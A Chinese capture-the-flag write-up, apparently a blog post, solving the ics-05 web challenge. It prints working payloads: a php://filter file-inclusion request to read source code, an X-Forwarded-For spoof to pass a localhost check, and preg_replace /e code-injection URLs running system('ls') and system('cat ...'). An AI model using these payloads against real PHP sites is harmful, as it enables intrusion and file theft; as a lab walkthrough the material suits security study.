CTF-WEB:攻防世界 ics-05(preg_replace() 函数 /e 漏洞)
文件包含#
根据题目描述“其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统”,打开设备维护中心后查看 F12。
看到超链接中有 “?page” 这个 GET 方法传递的参数,考虑在这个参数使用 PHP 伪协议中的 “php://filter” 读取 index 的源码。
?page=php://filter/read=convert.base64-encode/resource=index.php
利用 payload 成功读取到了 index.php 的 base64 加密形式,把它转换回我们能看得懂的。
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
} else {
die();
}
}
响应头伪造#
观察到 index.php 被执行的条件是 “$_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1'”,也就是说这个请求必须是本地的请求,修改 HTTP 响应头 X_FORWARDED_FOR 的值为 “127.0.0.1”。
preg_replace() 函数#
这段 PHP 代码会获取 3 个变量:pat、rep 和 sub 的值,然后进入一个 if-else 语句。isset() 函数在 PHP 中用来判断变量是否声明,此处如果这 3 个值都有传递就会执行 preg_replace()函数。
preg_replace 函数执行一个正则表达式的搜索和替换,语法如下:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
参数 | 说明 |
---|---|
$pattern | 要搜索的模式,可以是字符串或一个字符串数组 |
$replacement | 用于替换的字符串或字符串数组 |
$subject: 要搜索替换的目标字符串或字符串数组 | |
$limit | 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是 -1(无限制) |
$count | 可选,为替换执行的次数 |
如果 subject 是一个数组, preg_replace() 返回一个数组,其他情况下返回一个字符串。如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。 | |
这个函数有个 “/e” 漏洞,“/e” 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码进行执行。如果这么做要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。 |
获取 flag#
也就是说只要在 sub 参数中有要搜索的 pat 的内容,同时将在 rep 前加上 “/e” 触发漏洞,就可以执行 replacement 中的 PHP 代码。sub 和 pat 的参数构造只要满足前面的条件就行,rep 参数则设置为 “system('ls')”,这句代码用于命令行执行 ls 命令获取目录下的所有文件。
?pat=/abc/e&rep=system('ls')&sub=abc
执行成功,发现目录下的 s3chahahaDir 文件夹的名字很可疑,再次执行 ls 命令在该文件中查看内容。
?pat=/abc/e&rep=system('ls+s3chahahaDir')&sub=abc
执行成功,发现 s3chahahaDir 下有个 flag 文件夹,那就更可疑了,再次执行 ls 命令在该文件中查看内容。
?pat=/abc/e&rep=system('ls+s3chahahaDir/flag')&sub=abc
执行成功,发现 flag 文件夹下有一个 flag.php 文件,使用 cat 命令查看文件。查看之后打开 F12,即可看到 flag。
?pat=/abc/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=abc
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
2020-07-29 链路层:ARP 协议